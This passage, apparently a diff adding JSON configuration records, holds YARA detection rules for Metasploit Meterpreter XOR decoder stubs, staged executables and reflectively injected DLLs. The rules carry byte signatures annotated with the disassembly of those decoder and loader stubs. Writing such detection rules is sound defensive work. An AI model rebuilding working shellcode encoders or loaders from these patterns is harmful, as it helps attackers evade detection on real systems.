\"strong\"\n\n    strings:\n        $encoder = {\n            5E                                            // pop     esi\n            31 ED                                         // xor     ebp, ebp\n            83 E1 01                                      // and     ecx, 1\n            83 E3 01                                      // and     ebx, 1\n            66 BB ?? ??                                   // mov     bx, 137h\n            66 81 F3 ?? ??                                // xor     bx, 7Eh\n            89 F7                                         // mov     edi, esi\n\n                                        // loc_16:\n            83 E0 7F                                      // and     eax, 7Fh\n            AC                                            // lodsb\n            B1 08                                         // mov     cl, 8\n\n                                        // loc_1C:\n            80 F9 ??                                      // cmp     cl, 6\n            74 ??                                         // jz      short loc_44\n            60                                            // pusha\n            83 E9 01                                      // sub     ecx, 1\n            74 06                                         // jz      short loc_2D\n            B3 02                                         // mov     bl, 2\n\n                                        // loc_29:\n            F6 F3                                         // div     bl\n            E2 ??                                         // loop    loc_29\n\n                                        // loc_2D:\n            83 E0 01                                      // and     eax, 1\n            6B 2F 02                                      // imul    ebp, [edi], 2\n            09 E8                                         // or      eax, ebp\n            AA                                            // stosb\n            61                                            // popa\n            83 ED FF                                      // sub     ebp, 0FFFFFFFFh\n            83 FD 08                                      // cmp     ebp, 8\n            75 ??                                         // jnz     short loc_44\n            83 EF FF                                      // sub     edi, 0FFFFFFFFh\n            31 ED                                         // xor     ebp, ebp\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_single_static_84c990986117"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_xor_87ee7f97a9e3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575475Z",
+  "creation_date": "2026-03-23T11:46:25.575477Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575483Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor.rb"
+  ],
+  "name": "meterpreter_encoder_xor_87ee7f97a9e3.yar",
+  "content": "rule meterpreter_encoder_xor_87ee7f97a9e3 {\n    meta:\n        title = \"Meterpreter XOR Encoder (87ee7f97a9e3)\"\n        id = \"c1faa73c-c04c-411b-b67d-87ee7f97a9e3\"\n        description = \"Detects the usage of Metasploit Meterpreter x64 with the XOR encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor.rb\"\n        date = \"2023-11-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            48 31 C9                            // xor rcx, rcx\n            48 81 E9 ?? ?? ?? FF                // sub ecx, block_count\n            48 8D 05 EF FF FF FF                // lea rax, [rel 0x0]\n            48 BB ?? ?? ?? ?? ?? ?? ?? ??       // mov rbx, 0x????????????????\n            48 31 58 27                         // xor [rax+0x27], rbx\n            48 2D F8 FF FF FF                   // sub rax, -8\n            E2 F4                               // loop 0x1B\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_xor_87ee7f97a9e3"
+  ],
+  "rule_creation_date": "2023-11-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_xor_context_0a1906b13aa9_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575414Z",
+  "creation_date": "2026-03-23T11:46:25.575416Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575422Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor_context.rb"
+  ],
+  "name": "meterpreter_encoder_xor_context_0a1906b13aa9.yar",
+  "content": "rule meterpreter_encoder_xor_context_0a1906b13aa9 {\n    meta:\n        title = \"Meterpreter XOR Context Encoder (0a1906b13aa9)\"\n        id = \"7542a37c-97b2-4073-9771-0a1906b13aa9\"\n        description = \"Detects the usage of Metasploit Meterpreter x64 with the hostname based context keyed payload encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor_context.rb\"\n        date = \"2023-11-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            6A 3F 58                            // push 0x3f; pop rax\n            48 8D 3C 24                         // lea rdi, [rsp]\n            0F 05                               // syscall ; LINUX - sys_uname\n            48 8B 5F 41                         // movq rbx, [rdi+0x41]; hostname\n            48 31 C9                            // xor rcx, rcx\n            48 81 E9 ?? ?? ?? FF                // sub ecx, block_count\n            48 8D 05 EF FF FF FF                // lea rax, [rip - 0x01]\n            48 31 58 1D                         // xor [rax+0x1d], rbx\n            48 2D F8 FF FF FF                   // sub rax, -8\n            E2 F4                               // loop 0x1B\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_xor_context_0a1906b13aa9"
+  ],
+  "rule_creation_date": "2023-11-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_xor_dynamic_0415d4569d30_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566805Z",
+  "creation_date": "2026-03-23T11:46:25.566807Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566812Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor_dynamic.rb"
+  ],
+  "name": "meterpreter_encoder_xor_dynamic_0415d4569d30.yar",
+  "content": "rule meterpreter_encoder_xor_dynamic_0415d4569d30 {\n    meta:\n        title = \"Meterpreter XOR Dynamic Encoder (0415d4569d30)\"\n        id = \"649213fd-1ba3-4d50-8481-0415d4569d30\"\n        description = \"Detects the usage of Metasploit Meterpreter x64 with the Dynamic XOR encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x64/xor_dynamic.rb\"\n        date = \"2023-11-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            EB 27                               //        jmp _call\n            5B                                  // _ret:  pop rbx\n            53                                  //        push rbx\n            5F                                  //        pop rdi\n            B0 ??                               //        mov al, 'A'\n            FC                                  //        cld\n            AE                                  // _lp1:  scas al, BYTE PTR es:[rdi]\n            75 FD                               //        jne _lp1\n            57                                  //        push rdi\n            59                                  //        pop rcx\n            53                                  // _lp2:  push rbx\n            5E                                  //        pop rsi\n            8A 06                               // _lp3:  mov al, BYTE PTR [rsi]\n            30 07                               //        xor BYTE PTR [rdi], al\n            48 FF C7                            //        inc rdi\n            48 FF C6                            //        inc rsi\n            66 81 3F ?? ??                      //        cmp WORD PTR [rdi], 'BB'\n            74 07                               //        je _jmp\n            80 3E ??                            //        cmp BYTE PTR [rsi], 'A'\n            75 EA                               //        jne _lp3\n            EB E6                               //        jmp _lp2\n            FF E1                               // _jmp:  jmp rcx\n            E8 D4 FF FF FF                      // _call: call _ret\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_xor_dynamic_0415d4569d30"
+  ],
+  "rule_creation_date": "2023-11-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_xor_dynamic_fc9edd17e906_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578579Z",
+  "creation_date": "2026-03-23T11:46:25.578581Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578586Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/xor_dynamic.rb"
+  ],
+  "name": "meterpreter_encoder_xor_dynamic_fc9edd17e906.yar",
+  "content": "rule meterpreter_encoder_xor_dynamic_fc9edd17e906 {\n    meta:\n        title = \"Meterpreter XOR Dynamic Encoder (fc9edd17e906)\"\n        id = \"3706629a-f87d-4c61-9bbf-fc9edd17e906\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the XOR Dynamic encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/xor_dynamic.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            EB 23                               //        jmp _call\n            5B                                  // _ret:  pop rbx\n            89 DF                               //        mov edi, ebx\n            B0 ??                               //        mov al, 'A'\n            FC                                  //        cld\n            AE                                  // _lp1:  scas al, BYTE PTR es:[rdi]\n            75 FD                               //        jne _lp1\n            89 F9                               //        mov ecx, edi\n            89 DE                               // _lp2:  mov esi, ebx\n            8A 06                               // _lp3:  mov al, BYTE PTR [esi]\n            30 07                               //        xor BYTE PTR [edi], al\n            47                                  //        inc edi\n            66 81 3F ?? ??                      //        cmp WORD PTR [edi], 'BB'\n            74 08                               //        je _jmp\n            46                                  //        inc esi\n            80 3E ??                            //        cmp BYTE PTR [esi], 'A'\n            75 EE                               //        jne _lp3\n            EB EA                               //        jmp _lp2\n            FF E1                               // _jmp:  jmp ecx\n            E8 D8 FF FF FF                      // _call: call _ret\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_xor_dynamic_fc9edd17e906"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_executable_staged_094ca5431e30_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578337Z",
+  "creation_date": "2026-03-23T11:46:25.578340Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578349Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_executable_staged_094ca5431e30.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_executable_staged_094ca5431e30 {\n    meta:\n        title = \"Meterpreter Default Staged Executable (094ca5431e30)\"\n        id = \"96996a17-6803-43a9-ac85-094ca5431e30\"\n        description = \"Detects Meterpreter x86 default staged executable.\\nThis binary is typically used as a stage for establishing a reverse shell or further payload execution.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1071.001\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n        // filesize is normally 73802; based on ab.exe (apache benchmark)\n        // also matches whn using encoder such as shikata_ga_nai as the encoded part comes after\n\n    strings:\n        $pdb = \"C:\\\\local0\\\\asf\\\\release\\\\build-2.2.14\\\\support\\\\Release\\\\ab.pdb\" ascii\n\n        $s1 = {64 8B 52 30 }    //  mov     edx, fs:[edx+30h]\n        $s2 = {8B 52 0C }       //  mov     edx, [edx+0Ch]\n        $s3 = {8B 52 14 }       //  mov     edx, [edx+14h]\n        $s4 = {8B 72 28 }       //  mov     esi, [edx+28h]\n        $s5 = {0F B7 4A 26 }    //  movzx   ecx, word ptr [edx+26h]\n        $s6 = {C1 CF 0D }       //  ror     edi, 0Dh\n        $s7 = {8B 52 10 }       //  mov     edx, [edx+10h]\n        $s8 = {8B 42 3C }       //  mov     eax, [edx+3Ch]\n\n    condition:\n        uint16(0) == 0x5a4d and pe.imphash() == \"481f47bbb2c9c21e108d65f52b04c448\" and $pdb and (all of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_executable_staged_094ca5431e30"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_executable_staged_422c0cc3d085_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566543Z",
+  "creation_date": "2026-03-23T11:46:25.566546Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566551Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_executable_staged_422c0cc3d085.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_executable_staged_422c0cc3d085 {\n    meta:\n        title = \"Meterpreter Default Staged Executable (422c0cc3d085)\"\n        id = \"c480c803-77f1-4346-99e7-422c0cc3d085\"\n        description = \"Detects Meterpreter x64 default staged executable.\\nThis binary is typically used as a stage for establishing a reverse shell or further payload execution.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1071.001\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        uint16(0) == 0x5a4d and pe.imphash() == \"b4c6fff030479aa3b12625be67bf4914\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_executable_staged_422c0cc3d085"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_injected_DLL_1c60e167b02f_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579175Z",
+  "creation_date": "2026-03-23T11:46:25.579177Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579183Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_injected_DLL_1c60e167b02f.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_injected_DLL_1c60e167b02f {\n    meta:\n        title = \"Meterpreter Injected DLL (1c60e167b02f)\"\n        id = \"1d5ad497-133f-4b9f-86f9-1c60e167b02f\"\n        description = \"Detects Meterpreter x86 injected DLL in memory.\\nThe DLL is injected into processes to establish persistence or execute malicious code.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = {\n            4D                                            // dec     ebp\n            5A                                            // pop     edx\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            52                                            // push    edx\n            45                                            // inc     ebp\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? ??                             // add     ebx, ??????\n            FF D3                                         // call    ebx\n            81 C3 ?? ?? ?? ??                             // add     ebx, ???????\n            89 3B                                         // mov     [ebx], edi\n            53                                            // push    ebx\n            6A 04                                         // push    4\n            50                                            // push    eax\n            FF D0                                         // call    eax\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_injected_DLL_1c60e167b02f"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_injected_DLL_a14543949a52_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579139Z",
+  "creation_date": "2026-03-23T11:46:25.579142Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579151Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_injected_DLL_a14543949a52.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_injected_DLL_a14543949a52 {\n    meta:\n        title = \"Meterpreter Injected DLL (a14543949a52)\"\n        id = \"9267318f-fce3-4ffd-a149-a14543949a52\"\n        description = \"Detects Meterpreter x64 injected DLL in memory.\\nThe DLL is injected into processes to establish persistence or execute malicious code.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Found at start of reflective loading DLL\n        $s1 = {\n            4D 5A                                         // pop     r10\n            41 52                                         // push    r10\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 83 E4 F0                                   // and     rsp, 0FFFFFFFFFFFFFFF0h\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     rbx\n            48 81 C3 ?? ?? ?? ??                          // add     rbx, ?????\n            FF D3                                         // call    rbx\n            48 81 C3 ?? ?? ?? ??                          // add     rbx, ??????\n            48 89 3B                                      // mov     [rbx], rdi\n            49 89 D8                                    